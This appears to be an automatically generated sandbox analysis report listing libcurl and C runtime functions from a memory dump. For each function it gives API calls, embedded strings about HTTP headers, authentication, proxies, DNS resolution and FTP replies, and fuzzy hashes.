                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$curl_mfprintf
                                                                                                                                      • String ID: %3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s$ %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed$** Resuming transfer from byte position %I64d
                                                                                                                                      • API String ID: 2030109004-664487449
                                                                                                                                      • Opcode ID: 42a0c632ec517f81b9a7d09bfd97c95fb6c80303b19bfbe40f1fe61a66276c4f
                                                                                                                                      • Instruction ID: b0449cd3b8db16dabbc4d8b7857e302289e993e2efeaf1135b30181d9f6f481c
                                                                                                                                      • Opcode Fuzzy Hash: 42a0c632ec517f81b9a7d09bfd97c95fb6c80303b19bfbe40f1fe61a66276c4f
                                                                                                                                      • Instruction Fuzzy Hash: CBE16CB5940708AFEB24CFB4CC80F9ABBB9BF45728F104459E95DAB250DB356941DF20
                                                                                                                                      Function 6BD9AA80 Relevance: 31.8, APIs: 10, Strings: 8, Instructions: 269COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD9AB26
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD9AB3C
                                                                                                                                      • curl_strnequal.LIBCURL(Host:,00000000,00000005), ref: 6BD9AC1A
                                                                                                                                      • curl_strnequal.LIBCURL(Content-Type:,00000000,0000000D), ref: 6BD9AC3E
                                                                                                                                      • curl_strnequal.LIBCURL(Content-Type:,00000000,0000000D), ref: 6BD9AC62
                                                                                                                                      • curl_strnequal.LIBCURL(Content-Length:,00000000,0000000F), ref: 6BD9AC86
                                                                                                                                      • curl_strnequal.LIBCURL(Connection:,00000000,0000000B), ref: 6BD9ACAA
                                                                                                                                      • curl_strnequal.LIBCURL(Transfer-Encoding:,00000000,00000012), ref: 6BD9ACCE
                                                                                                                                      • curl_strnequal.LIBCURL(Authorization:,00000000,0000000E), ref: 6BD9ACE2
                                                                                                                                      • curl_strnequal.LIBCURL(Cookie:,00000000,00000007,?,?,?,?,?,?,6BD9E55E), ref: 6BD9ACF6
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_strnequal$___from_strstr_to_strchr
                                                                                                                                      • String ID: %s$Authorization:$Connection:$Content-Length:$Content-Type:$Cookie:$Host:$Transfer-Encoding:
                                                                                                                                      • API String ID: 431725195-2985882615
                                                                                                                                      • Opcode ID: f95f18b11c2eba89b3b97030bdc346c26f202c50bfd114a1440fe1fc255c56ea
                                                                                                                                      • Instruction ID: c9e9bd4fde34cecc2ccbf3989589fbda80685c4151af6e673046a4db6095c1bf
                                                                                                                                      • Opcode Fuzzy Hash: f95f18b11c2eba89b3b97030bdc346c26f202c50bfd114a1440fe1fc255c56ea
                                                                                                                                      • Instruction Fuzzy Hash: 75913476D04241EBEB10AF64B900B963BA1AF0177CF1440F4EC599F242E77EDA15D7A1
                                                                                                                                      Function 6BD94770 Relevance: 31.8, APIs: 8, Strings: 10, Instructions: 254COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_url.LIBCURL(00000000,00000000,6BD92F71), ref: 6BD9478E
                                                                                                                                      • curl_url_set.LIBCURL(00000000,00000000,00000000,00000208,00000000,00000000,6BD92F71), ref: 6BD947A6
                                                                                                                                      • curl_url_get.LIBCURL(6BD92F71,00000001,00000000,00000000,?,00000000,00000000,6BD92F71), ref: 6BD947C0
                                                                                                                                      • curl_url_cleanup.LIBCURL(6BD92F71,?,?,?,?,00000000,00000000,6BD92F71), ref: 6BD94A84
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_urlcurl_url_cleanupcurl_url_getcurl_url_set
                                                                                                                                      • String ID: Unsupported proxy '%s', libcurl is built without the HTTPS-proxy support.$Unsupported proxy scheme for '%s'$Unsupported proxy syntax in '%s'$http$https$socks$socks4$socks4a$socks5$socks5h
                                                                                                                                      • API String ID: 4131495542-874090715
                                                                                                                                      • Opcode ID: dc645f0545bef9c618d61be6c1f7d962c023e2f916dd015044603746688500f0
                                                                                                                                      • Instruction ID: a1dedff66e3f6e9c8c46e427975ecb2b10fbceacdcc5a9e98aa634f868f83af5
                                                                                                                                      • Opcode Fuzzy Hash: dc645f0545bef9c618d61be6c1f7d962c023e2f916dd015044603746688500f0
                                                                                                                                      • Instruction Fuzzy Hash: 6491D6B5C00245EBDF20AFA5EC41B9E7BB4AF01329F0040A9E9646F242E7399615DFB1
                                                                                                                                      Function 6BD9CF60 Relevance: 31.7, APIs: 3, Strings: 15, Instructions: 245COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_maprintf.LIBCURL(Authorization: Bearer %s,?,?,?,?,?,?,?,?,?), ref: 6BD9CFF2
                                                                                                                                      • curl_maprintf.LIBCURL(%s:%s,?,6BDEB98E,?,00000000), ref: 6BD9D106
                                                                                                                                      • curl_maprintf.LIBCURL(%sAuthorization: Basic %s,Proxy-,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BD9D180
                                                                                                                                        • Part of subcall function 6BDA48E0: curl_mvaprintf.LIBCURL(?,?,?,6BD866CB,%s.%s.tmp,?,?,?,?,?,?), ref: 6BDA48EA
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_maprintf$curl_mvaprintf
                                                                                                                                      • String ID: %s auth using %s with user '%s'$%s:%s$%sAuthorization: Basic %s$Authorization$Authorization:$Authorization: Bearer %s$Basic$Bearer$Digest$NTLM$Negotiate$Proxy$Proxy-$Proxy-authorization$Server
                                                                                                                                      • API String ID: 3491783128-3980008082
                                                                                                                                      • Opcode ID: bf0db7330361aeb5a36d07c588ecedd3b49c1702fa60483de2825ee795ccc14a
                                                                                                                                      • Instruction ID: fdbcc84a0cf2a5360172f05008d52f5d42367bb83a292f3d16cf0a371bffcd38
                                                                                                                                      • Opcode Fuzzy Hash: bf0db7330361aeb5a36d07c588ecedd3b49c1702fa60483de2825ee795ccc14a
                                                                                                                                      • Instruction Fuzzy Hash: DB81C732A44104EFDB01AF68EC416AAB7A4EF45375F0441A9EC089F311E73ADA55DBB1
                                                                                                                                      Function 6BD94AA0 Relevance: 28.4, APIs: 13, Strings: 3, Instructions: 357COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_url_dup.LIBCURL(?,00000000,?,?,?), ref: 6BD94AD5
                                                                                                                                      • curl_url.LIBCURL(00000000,?,?,?), ref: 6BD94AE4
                                                                                                                                      • curl_maprintf.LIBCURL(%s://%s,?,?,?,?,?,00000000,?,?,?), ref: 6BD94B43
                                                                                                                                      • curl_url_set.LIBCURL(00000000,00000000,?,00000208), ref: 6BD94B97
                                                                                                                                      • curl_url_get.LIBCURL(00000000,00000000,?,00000000,?,?,?,?,00000000,?,?,?), ref: 6BD94BDB
                                                                                                                                      • curl_url_get.LIBCURL(00000000,00000001,?,00000000), ref: 6BD94C1A
                                                                                                                                      • curl_url_get.LIBCURL(00000000,00000002,?,00000000), ref: 6BD94CA5
                                                                                                                                      • curl_url_get.LIBCURL(00000000,00000003,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BD94D10
                                                                                                                                      • curl_url_get.LIBCURL(00000000,00000004,?,00000040), ref: 6BD94D77
                                                                                                                                      • curl_url_get.LIBCURL(00000000,00000005,?,00000000), ref: 6BD94DBD
                                                                                                                                      • curl_url_get.LIBCURL(00000000,00000007,?,00000000), ref: 6BD94DEC
                                                                                                                                      • curl_url_get.LIBCURL(00000000,00000006,?,00000001), ref: 6BD94E08
                                                                                                                                      • curl_url_get.LIBCURL(00000000,00000008,?,00000000), ref: 6BD94E6A
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_url_get$curl_maprintfcurl_urlcurl_url_dupcurl_url_set
                                                                                                                                      • String ID: %s://%s$Protocol "%s" not supported or disabled in libcurl$file
                                                                                                                                      • API String ID: 3053744392-4150109901
                                                                                                                                      • Opcode ID: 09fcf2cb0568fefd85e50c3af82e26bc82d1e64527df31f21b051eb2a121208e
                                                                                                                                      • Instruction ID: e035722e656675d0a1df881c2d44697dafd5ce1d66af6eccc41e40d1404d8348
                                                                                                                                      • Opcode Fuzzy Hash: 09fcf2cb0568fefd85e50c3af82e26bc82d1e64527df31f21b051eb2a121208e
                                                                                                                                      • Instruction Fuzzy Hash: 05C1F875A04704AAFB20AB74EC41BE777E89F41768F0400A9ED6DCF142E779A640DB62
                                                                                                                                      Function 6BD97E80 Relevance: 23.1, APIs: 4, Strings: 9, Instructions: 386COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000007,:%u,?), ref: 6BD97F89
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6BDA6C24), ref: 6BDB06EF
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6BDB072F
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD98007
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD980B6
                                                                                                                                      Strings
                                                                                                                                      • *, xrefs: 6BD982DD
                                                                                                                                      • RESOLVE %s:%d is - old addresses discarded!, xrefs: 6BD9824E
                                                                                                                                      • %255[^:]:%d, xrefs: 6BD97EE6
                                                                                                                                      • Added %s:%d:%s to DNS cache, xrefs: 6BD982CF
                                                                                                                                      • Couldn't parse CURLOPT_RESOLVE entry '%s'!, xrefs: 6BD9831E
                                                                                                                                      • Resolve address '%s' found illegal!, xrefs: 6BD981A2
                                                                                                                                      • RESOLVE %s:%d is wildcard, enabling wildcard checks, xrefs: 6BD982FC
                                                                                                                                      • Couldn't parse CURLOPT_RESOLVE removal entry '%s'!, xrefs: 6BD97EFB
                                                                                                                                      • :%u, xrefs: 6BD97F81, 6BD981EB
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ___from_strstr_to_strchrcurl_msnprintf$curl_mvsnprintf
                                                                                                                                      • String ID: %255[^:]:%d$*$:%u$Added %s:%d:%s to DNS cache$Couldn't parse CURLOPT_RESOLVE entry '%s'!$Couldn't parse CURLOPT_RESOLVE removal entry '%s'!$RESOLVE %s:%d is - old addresses discarded!$RESOLVE %s:%d is wildcard, enabling wildcard checks$Resolve address '%s' found illegal!
                                                                                                                                      • API String ID: 3777538264-1944672612
                                                                                                                                      • Opcode ID: 06d8f3841420675731e8c3a0cc2bc8ea9eb4cdcdbddfbfed3e507c1bd96c5f56
                                                                                                                                      • Instruction ID: 254058c9bea2bb0c577b564e73beccef66450635326e1a767ecacc9bcc39a51c
                                                                                                                                      • Opcode Fuzzy Hash: 06d8f3841420675731e8c3a0cc2bc8ea9eb4cdcdbddfbfed3e507c1bd96c5f56
                                                                                                                                      • Instruction Fuzzy Hash: C3D11571D04619AFDB21AF24DC85BAEB778AF41764F0000E5D84DBB241E73A9B49DFA0
                                                                                                                                      Function 6BD8DE80 Relevance: 23.1, APIs: 2, Strings: 11, Instructions: 375COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD8DEE5
                                                                                                                                      • curl_maprintf.LIBCURL(%u.%u.%u.%u,00000000,00000000,00000000,00000000), ref: 6BD8E134
                                                                                                                                        • Part of subcall function 6BDA48E0: curl_mvaprintf.LIBCURL(?,?,?,6BD866CB,%s.%s.tmp,?,?,?,?,?,?), ref: 6BDA48EA
                                                                                                                                        • Part of subcall function 6BD984A0: inet_pton.WS2_32(00000002,00000000,?), ref: 6BD98590
                                                                                                                                        • Part of subcall function 6BD984A0: inet_pton.WS2_32(00000017,00000000,?), ref: 6BD985C0
                                                                                                                                        • Part of subcall function 6BD82A60: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BD82BA0
                                                                                                                                      Strings
                                                                                                                                      • Connecting to %s (%s) port %d, xrefs: 6BD8E304
                                                                                                                                      • %u,%u,%u,%u,%u,%u, xrefs: 6BD8E06A
                                                                                                                                      • Illegal port number in EPSV reply, xrefs: 6BD8DF60
                                                                                                                                      • %u.%u.%u.%u, xrefs: 6BD8E12F
                                                                                                                                      • Bad PASV/EPSV response: %03d, xrefs: 6BD8E3A3
                                                                                                                                      • Skip %u.%u.%u.%u for data connection, re-use %s instead, xrefs: 6BD8E10E
                                                                                                                                      • %c%c%c%u%c, xrefs: 6BD8DF1B
                                                                                                                                      • Couldn't interpret the 227-response, xrefs: 6BD8E083
                                                                                                                                      • Weirdly formatted EPSV reply, xrefs: 6BD8DFCA
                                                                                                                                      • Can't resolve proxy host %s:%hu, xrefs: 6BD8E1DD
                                                                                                                                      • Can't resolve new host %s:%hu, xrefs: 6BD8E257
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: inet_pton$Unothrow_t@std@@@___from_strstr_to_strchr__ehfuncinfo$??2@curl_maprintfcurl_mvaprintf
                                                                                                                                      • String ID: %c%c%c%u%c$%u,%u,%u,%u,%u,%u$%u.%u.%u.%u$Bad PASV/EPSV response: %03d$Can't resolve new host %s:%hu$Can't resolve proxy host %s:%hu$Connecting to %s (%s) port %d$Couldn't interpret the 227-response$Illegal port number in EPSV reply$Skip %u.%u.%u.%u for data connection, re-use %s instead$Weirdly formatted EPSV reply
                                                                                                                                      • API String ID: 1323756762-2414412286
                                                                                                                                      • Opcode ID: fd5a4c53a131ebc3a40fbe1d886120b63fd7d75d2cfa6350e83e8f9ce4a53167
                                                                                                                                      • Instruction ID: 6bf56191bf9fbd5752160086a47d618d599967ba82b9f5f81e0c490a0490dbd0
                                                                                                                                      • Opcode Fuzzy Hash: fd5a4c53a131ebc3a40fbe1d886120b63fd7d75d2cfa6350e83e8f9ce4a53167
                                                                                                                                      • Instruction Fuzzy Hash: 99D1C8B1D00119ABDB159B64DC41BEABBB8FF05326F0001EAE90D9E141D73DAA949FF1
                                                                                                                                      Function 6BD9B5C0 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 205COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_strnequal.LIBCURL(Negotiate,?,00000009,00000000,?,?,?,00000000), ref: 6BD9B61C
                                                                                                                                      • curl_strnequal.LIBCURL(NTLM,?,00000004,00000000,?,?,?,00000000), ref: 6BD9B6A0
                                                                                                                                      • curl_strnequal.LIBCURL(Digest,?,00000006,?,?,?,00000000,?,?,?,00000000), ref: 6BD9B704
                                                                                                                                      • curl_strnequal.LIBCURL(Basic,?,00000005,?,?,?,?,?,?,00000000,?,?,?,00000000), ref: 6BD9B75D
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6BDA6C24), ref: 6BDB06EF
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6BDB072F
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_strnequal$curl_msnprintfcurl_mvsnprintf
                                                                                                                                      • String ID: Authentication problem. Ignoring this.$Basic$Bearer$Digest$Ignoring duplicate digest auth header.$NTLM$Negotiate$t!
                                                                                                                                      • API String ID: 4236074386-280430007
                                                                                                                                      • Opcode ID: 802eeec1a3c7805fdd070bb0456f1c645eba207268bf51e6de67eaa37c666a34
                                                                                                                                      • Instruction ID: 8390b037c2d984d740529da2ba416e894ea3bbd0a2ccabda476a36e91635bdbb
                                                                                                                                      • Opcode Fuzzy Hash: 802eeec1a3c7805fdd070bb0456f1c645eba207268bf51e6de67eaa37c666a34
                                                                                                                                      • Instruction Fuzzy Hash: 82613370904304EBEB009F65BC467A67BA49F42378F1181A4DCA9CF182E73AD569DBB1
                                                                                                                                      Function 6BDE5193 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 113COMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • _free.LIBCMT ref: 6BDE51CC
                                                                                                                                        • Part of subcall function 6BDDF7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6BDE5EE0,6BE038A0,00000000,6BE038A0,00000000,?,6BDE5F07,6BE038A0,00000007,6BE038A0,?,6BDE532A,6BE038A0), ref: 6BDDF800
                                                                                                                                        • Part of subcall function 6BDDF7EA: GetLastError.KERNEL32(6BE038A0,?,6BDE5EE0,6BE038A0,00000000,6BE038A0,00000000,?,6BDE5F07,6BE038A0,00000007,6BE038A0,?,6BDE532A,6BE038A0,6BE038A0), ref: 6BDDF812
                                                                                                                                        • Part of subcall function 6BDE5D4F: _free.LIBCMT ref: 6BDE5D6C
                                                                                                                                        • Part of subcall function 6BDE5D4F: _free.LIBCMT ref: 6BDE5D7E
                                                                                                                                        • Part of subcall function 6BDE5D4F: _free.LIBCMT ref: 6BDE5D90
                                                                                                                                        • Part of subcall function 6BDE5D4F: _free.LIBCMT ref: 6BDE5DA2
                                                                                                                                        • Part of subcall function 6BDE5D4F: _free.LIBCMT ref: 6BDE5DB4
                                                                                                                                        • Part of subcall function 6BDE5D4F: _free.LIBCMT ref: 6BDE5DC6
                                                                                                                                        • Part of subcall function 6BDE5D4F: _free.LIBCMT ref: 6BDE5DD8
                                                                                                                                        • Part of subcall function 6BDE5D4F: _free.LIBCMT ref: 6BDE5DEA
                                                                                                                                        • Part of subcall function 6BDE5D4F: _free.LIBCMT ref: 6BDE5DFC
                                                                                                                                        • Part of subcall function 6BDE5D4F: _free.LIBCMT ref: 6BDE5E0E
                                                                                                                                        • Part of subcall function 6BDE5D4F: _free.LIBCMT ref: 6BDE5E20
                                                                                                                                        • Part of subcall function 6BDE5D4F: _free.LIBCMT ref: 6BDE5E32
                                                                                                                                        • Part of subcall function 6BDE5D4F: _free.LIBCMT ref: 6BDE5E44
                                                                                                                                      • _free.LIBCMT ref: 6BDE51EE
                                                                                                                                      • _free.LIBCMT ref: 6BDE5203
                                                                                                                                      • _free.LIBCMT ref: 6BDE520E
                                                                                                                                      • _free.LIBCMT ref: 6BDE5230
                                                                                                                                      • _free.LIBCMT ref: 6BDE5243
                                                                                                                                      • _free.LIBCMT ref: 6BDE5251
                                                                                                                                      • _free.LIBCMT ref: 6BDE525C
                                                                                                                                      • _free.LIBCMT ref: 6BDE5294
                                                                                                                                      • _free.LIBCMT ref: 6BDE529B
                                                                                                                                      • _free.LIBCMT ref: 6BDE52B8
                                                                                                                                      • _free.LIBCMT ref: 6BDE52D0
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: _free$ErrorFreeHeapLast
                                                                                                                                      • String ID: 0+k
                                                                                                                                      • API String ID: 776569668-3367778429
                                                                                                                                      • Opcode ID: fe8362fb0a36f2a565ef8b60469edc7791e6356fcb05deafb9a44e60c871a184
                                                                                                                                      • Instruction ID: 94f3ab151b05d2409c98e0669a15985eac21a23148590ee2fcda09e4c8bf8e0b
                                                                                                                                      • Opcode Fuzzy Hash: fe8362fb0a36f2a565ef8b60469edc7791e6356fcb05deafb9a44e60c871a184
                                                                                                                                      • Instruction Fuzzy Hash: 1A311971A04601EFEB119BB9D845B8A73E9BF003A8F20449AE5A9DE150DF79E941DB30
                                                                                                                                      Function 6BDBE810 Relevance: 21.3, APIs: 3, Strings: 9, Instructions: 288COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6BDA6C24), ref: 6BDB06EF
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6BDB072F
                                                                                                                                      • curl_slist_free_all.LIBCURL(00000000,?,?,?,?,?,?,?,?,?,Moving trailers state machine from initialized to sending.,?,?,?), ref: 6BDBE994
                                                                                                                                        • Part of subcall function 6BD9B530: ___from_strstr_to_strchr.LIBCMT ref: 6BD9B55B
                                                                                                                                      • curl_slist_free_all.LIBCURL(00000000,?,Successfully compiled trailers.,?,?,?,?,?,?,?,?,?,Moving trailers state machine from initialized to sending.,?,?,?), ref: 6BDBE8CD
                                                                                                                                      • curl_msnprintf.LIBCURL(?,0000000B,%zx%s,?,6BDEBF70), ref: 6BDBEAC6
                                                                                                                                        • Part of subcall function 6BDB05D0: curl_mvsnprintf.LIBCURL(?,00000100,6BDAC830,?), ref: 6BDB0610
                                                                                                                                      Strings
                                                                                                                                      • Read callback asked for PAUSE when not supported!, xrefs: 6BDBE9DC
                                                                                                                                      • read function returned funny value, xrefs: 6BDBEA35
                                                                                                                                      • operation aborted by callback, xrefs: 6BDBE945
                                                                                                                                      • Successfully compiled trailers., xrefs: 6BDBE8BF
                                                                                                                                      • operation aborted by trailing headers callback, xrefs: 6BDBE96F
                                                                                                                                      • Signaling end of chunked upload via terminating chunk., xrefs: 6BDBEB1B
                                                                                                                                      • Moving trailers state machine from initialized to sending., xrefs: 6BDBE842
                                                                                                                                      • Signaling end of chunked upload after trailers., xrefs: 6BDBEBBE
                                                                                                                                      • %zx%s, xrefs: 6BDBEAA9
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_msnprintfcurl_mvsnprintfcurl_slist_free_all$___from_strstr_to_strchr
